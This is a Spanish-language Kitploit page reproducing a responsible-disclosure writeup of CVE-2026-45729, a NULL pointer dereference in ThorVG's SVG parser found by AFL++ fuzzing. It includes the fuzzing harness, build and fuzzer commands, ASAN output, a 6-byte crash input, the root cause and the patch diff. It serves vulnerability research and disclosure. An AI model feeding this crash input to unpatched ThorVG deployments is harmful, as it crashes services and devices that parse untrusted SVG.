Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-45729 — Desreferencia de puntero NULL en ThorVG mediante SVG malformado — writeup de fuzzing con AFL++ | Kitploit
Herramientas/GitHubGitHub/yeahhbean/cve-2026-45729
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónFuzzingAnálisis de Binarios
GitHubyeahhbean/cve-2026-45729

CVE-2026-45729

Desreferencia de puntero NULL en ThorVG mediante SVG malformado — writeup de fuzzing con AFL++

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-45729 — Desreferencia de puntero NULL en ThorVG mediante SVG malformado

Severidad: CVSS 4.3 (Media) — CWE-476
Aviso: GHSA-f863-8ghq-7h64
Corregido en: ThorVG v1.0.5
Estado: Parcheado / Divulgado


Resumen

El analizador SVG de ThorVG desreferencia un puntero que nunca se inicializa cuando encuentra una etiqueta de elemento hijo truncada dentro de un nodo raíz <svg>. El error es alcanzable a través de la ruta de renderizado normal (tvg::Picture::load → análisis → renderizado) y se puede activar con una entrada de 6 bytes.

El impacto en el peor de los casos en Linux estándar es un bloqueo del proceso (DoS) — mmap_min_addr impide mapear la página NULL, por lo que la falla no es directamente explotable para ejecución de código en ese entorno. En objetivos sin MMU donde también se usa ThorVG (Tizen, firmware basado en LVGL), el panorama de explotabilidad es diferente y merece un análisis más detallado.


Justificación de la selección del objetivo

ThorVG es un motor de gráficos vectoriales multiplataforma escrito en C++17. Es el renderizador SVG/Lottie predeterminado en Samsung Tizen OS, está incluido en LVGL (ampliamente utilizado en interfaces de usuario embebidas/IoT) y se distribuye como biblioteca independiente en múltiples plataformas.

La biblioteca procesa entradas SVG/JSON no confiables y a menudo está expuesta en contextos sin separación de privilegios. El código de los analizadores en las bibliotecas gráficas ha sido históricamente una fuente fiable de errores de seguridad de memoria — ThorVG se desarrolla activamente y, en el momento de esta investigación, no tenía cobertura de fuzzing registrada en los rastreadores públicos de errores.


Configuración de fuzzing

Harness

El harness envuelve la API de carga en memoria de ThorVG para que AFL++ pueda manejar el analizador directamente sin E/S de disco.

root@kitploit:~
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

Compilar con ASAN e instrumentación de cobertura:

root@kitploit:~
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

Corpus semilla

Comenzar desde cero con bytes aleatorios funciona mal en analizadores sensibles al formato. Sembré el corpus con un conjunto de archivos SVG mínimos estructuralmente válidos que cubren:

  • SVG vacío (<svg xmlns="..."/>)
  • SVG con formas básicas (<rect>, <circle>, <path>)
  • SVG con un grupo <g> anidado
  • SVG con una referencia xlink <use>
  • Una pequeña animación Lottie/JSON (ThorVG también maneja este formato)

Las semillas que tienen en cuenta la estructura redujeron el tiempo hasta los primeros caminos interesantes de horas a menos de 20 minutos en mi entorno.

Banderas de AFL++

root@kitploit:~
AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — diccionario de tokens de AFL++ con palabras clave SVG para ayudar a mutar hacia nombres de etiqueta válidos.
-m none — la memoria sombra de ASAN requiere deshabilitar el límite de memoria de AFL++.


Descubrimiento del bloqueo

AFL++ produjo un bloqueo después de aproximadamente 3 horas de fuzzing con un solo núcleo. La entrada que provocó el fallo inicial fue de ~180 bytes. La salida de ASAN:

root@kitploit:~
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

La falla es una lectura a través de un puntero SvgNode* no inicializado (NULL) dentro de _parseStyle. Se espera que el puntero sea asignado por _createElement cuando procesa un elemento hijo, pero un nombre de etiqueta truncado hace que el elemento se omita sin que se asigne el puntero, y _parseStyle procede a desreferenciarlo de todos modos.


Minimización

Minimizado con afl-tmin y luego poda manual:

root@kitploit:~
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

Después de afl-tmin, la entrada era de 14 bytes. La inspección manual de la ruta de análisis mostró que solo se consumieron los primeros 6 bytes antes de la falla:

root@kitploit:~
<svg><

<svg> abre el nodo raíz. < inicia una etiqueta de elemento hijo. El analizador lee el nombre de la etiqueta, obtiene una cadena vacía (la entrada termina inmediatamente después de <), omite la creación del elemento y continúa hacia _parseStyle con el puntero de nodo aún NULL.

Confirme que el desencadenante de 6 bytes se reproduce:

root@kitploit:~
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# o
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

Causa raíz

root@kitploit:~
src/loaders/svg/tvgSvgParser.cpp

Pseudocódigo simplificado del flujo vulnerable:

root@kitploit:~
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr

// No NULL check before passing into style parser
_parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18

El parche en v1.0.5 añade una salida anticipada en el bucle de despacho de elementos cuando _createElement devuelve nullptr, antes de que se intente cualquier procesamiento de atributos/estilos.


Análisis de explotabilidad

Linux estándar (CVSS 4.3 / Media)

/proc/sys/vm/mmap_min_addr normalmente está establecido en 65536 en las distribuciones modernas. La página NULL no está mapeada, por lo que la CPU genera un SIGSEGV que el kernel convierte en una señal para el proceso: el resultado es un bloqueo (DoS). No hay escritura controlada, ni control del contador de programa (PC), ni es directamente explotable para ejecución de código.

Objetivos embebidos / sin MMU

ThorVG es un ciudadano de primera clase en Tizen (SO de Samsung para IoT/dispositivos portátiles) y está integrado en LVGL, que se ejecuta en microcontroladores y sistemas sin MMU.

En sistemas sin MMU no hay protección de memoria y mmap_min_addr no aplica. Si la página NULL está mapeada (lo cual es común en entornos embebidos bare-metal), una desreferencia de puntero NULL podría potencialmente apuntar a memoria controlada por el atacante. Que esto sea alcanzable en un ataque real depende de la superficie de ataque: ThorVG en un dispositivo Tizen puede analizar SVG de fuentes de red no confiables o contenido proporcionado por el usuario.

Este contexto es lo que justifica la divulgación responsable incluso para un hallazgo de CVSS de severidad Media.


Cronología de divulgación


Diff del parche (resumen)

El parche añade una comprobación de NULL en el bucle de despacho de elementos SVG:

root@kitploit:~
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // unconditional

// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // skip if element was not created
_parseStyle(node, attrs);

Diff completo: lanzamiento ThorVG v1.0.5


Reproducción (segura, solo local)

root@kitploit:~
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build

# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin

Salida esperada: informe de ASAN con SEGV on unknown address 0x000000000000 en tvg::SvgParser::_parseStyle.


Referencias

  • GHSA-f863-8ghq-7h64
  • Proyecto ThorVG
  • CWE-476: Desreferencia de puntero NULL
  • Documentación de AFL++

Encontrado por yeahhbean (이예빈) mediante fuzzing guiado por cobertura con AFL++ y un corpus semilla de SVG sensible a la estructura.

Descargar herramienta
FechaEvento
2026-xx-xxBloqueo descubierto mediante AFL++
2026-xx-xxCausa raíz confirmada bajo ASAN; POC de 6 bytes generado
2026-xx-xxInforme privado enviado al mantenedor de ThorVG (hermet) a través de GitHub Security Advisory
2026-xx-xxEl mantenedor reconoció el informe y abrió un fork privado
2026-xx-xxParche fusionado en v1.0.5
2026-xx-xxGHSA-f863-8ghq-7h64 publicado; CVE-2026-45729 asignado